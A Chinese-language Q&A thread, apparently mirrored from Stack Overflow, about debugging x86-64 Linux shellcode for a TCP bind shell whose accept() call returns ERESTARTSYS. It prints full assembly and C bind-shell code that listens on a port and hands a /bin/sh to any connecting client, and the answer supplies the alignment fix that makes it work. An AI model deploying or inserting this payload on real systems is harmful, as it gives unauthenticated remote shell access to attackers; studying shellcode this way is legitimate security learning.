为什么accept()会返回ERESTARTSYS?

问题描述 投票:0回答:1

我试图仿照同样的C语言编写一个TCP bind shell代码。

下面是asm.com的代码。

global _start
section .text
_start:
  ; socket() call
  xor rax,rax
  add rax,41
  xor rdi,rdi
  add rdi,2
  xor rsi,rsi
  add rsi,1
  xor rdx,rdx
  syscall
  ; save file descriptor
  mov rbx,rax ; rbx is a 'safe' register, syscalls won't trample it

  ; build sockaddr_in struct - push in reverse needs to be a pointer
  xor rdx,rdx
  push rdx ; INADDR_ANY bind to any ip address
  push word 0xa1a ; port 6666
  push 0x2 ; AF_INET - required for ipv4

  ; build bind() call
  mov rdi,rbx ; socket file descriptor
  mov rsi,rsp ; pointer to struct
  xor rdx,rdx
  add rdx,16 ; size of struct
  xor rax,rax
  add rax,49
  syscall

  ; build listen() call
  xor rax,rax
  add rax,50
  mov rdx,rbx ; get the fd from the register we saved it to
  xor rsi,rsi
  add rsi,1 ; backlog size
  syscall

  ; build accept() call
  xor rax,rax
  add rax,43
  mov rdi,rbx ; safe register still has fd
  xor rsi,rsi ; used to be mov rsi,rsp ; nothing new pushed, still pointing at our struct
  xor rdx,rdx
  ; add rdx,16 ; still size of struct
  syscall
  mov r12,rax ; save fd for accepted socket, r12 is also a 'safe' register

  ; build dup2() calls
  ; these are needed to re-route stdout/err/in to our socket
  xor rax,rax
  add rax,33
  mov rdi,r12 ; get our open/accepted socket fd
  xor rsi,rsi ; 0 for stdin
  syscall
  xor rax,rax
  add rax,33
  mov rdi,r12
  xor rsi,rsi
  add rsi,1 ; stdout
  syscall
  xor rax,rax
  add rax,33
  mov rdi,r12
  xor rsi,rsi
  add rsi,2 ; stderr
  syscall

  ; spawn the shell
  jmp payload
  shell: db '/bin/sh'
  shell_term: db 1
  payload:
    xor rax,rax
    push rax
    mov rsi,rsp ;null pointer for argv
    mov rdx,rsp ;null pointer for envp
    lea rdi,[rel shell]
    dec byte [rel shell_term]
    add rax,59
    syscall

我已经通过edb-debugger运行了程序,所有程序都正常进行,但会挂在 accept() 调用。然后我可以暂停执行,它将把ERESTARTSYS错误放在 rax.我也尝试了几个不同版本的调用(在代码中注释)。但它们都返回同样的东西。我从google上知道,这个错误是与调用fucntion有关,但说实话,我并没有真正完全掌握它到底想告诉我什么。

另一个奇怪的事情是,我可以注入asm(我有一个基本的c文件可以做到这一点),它将运行得很好,但有一些奇怪的事情我不明白它的行为。1. 端口不是我设置的,它似乎是随机的(通常是30000+) 2. 我可以 nc 连接到本地端口(但不是远程) 3. shell会在我运行注入的终端上生成,但只有在我按下回车键后,才会在 nc 连接的终端。这种情况会在输入或不输入命令的情况下发生,但无论哪种方式都不会在 nc连接的终端。

我已经验证了我的 socket(), bind(), sockaddr_in 结构,以及 listen() 的部分,并查看代码。我觉得它的范围已经缩小到了 accept() 的调用。然而,它绑定在错误的端口上的事实,让我怀疑它的 bind()sockaddr_in 也是。但它们似乎工作得很好。

这是我仿照asm的C代码。

#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <stdio.h>

int main(void)
{
  int clientfd, sockfd;
  int port = 1234;
  struct sockaddr_in mysockaddr;
  sockfd = socket(AF_INET, SOCK_STREAM, 0);
  mysockaddr.sin_family = AF_INET; //--> can be represented in  numeric  as 2
  mysockaddr.sin_port = htons(port);
  mysockaddr.sin_addr.s_addr = INADDR_ANY;// --> can be represented  in  numeric as 0 which means to bind to all interfaces
  // printf("size of sin_family: %d\n", (int)sizeof(mysockaddr.sin_family));
  // printf("size of sin_port: %d\n", (int)sizeof(mysockaddr.sin_port));
  // printf("size of sin_addr: %d\n", (int)sizeof(mysockaddr.sin_addr));
  // printf("size of sin_addr.s_addr: %d\n", (int)sizeof(mysockaddr.sin_addr.s_addr));
  // printf("size of struct: %d\n", (int)sizeof(mysockaddr));
  bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
  listen(sockfd, 1);
  clientfd = accept(sockfd, NULL, NULL);
  dup2(clientfd, 0);
  dup2(clientfd, 1);
  dup2(clientfd, 2);
  char * const argv[] = {"sh",NULL, NULL};
  execve("/bin/sh", argv, NULL);
  return 0;
}

这段代码的工作原理和我预期的一样

linux sockets assembly x86-64 shellcode
1个回答
0
投票

正如 @jester 所说,这个结构的建立是以错误的对齐方式进行的。我做了下面的修改,它完美地工作了。

  xor rdx,rdx
  push rdx
  push word 0xa1a
  push word 0x2 ; added 'word' to correct alignment
© www.soinside.com 2019 - 2024. All rights reserved.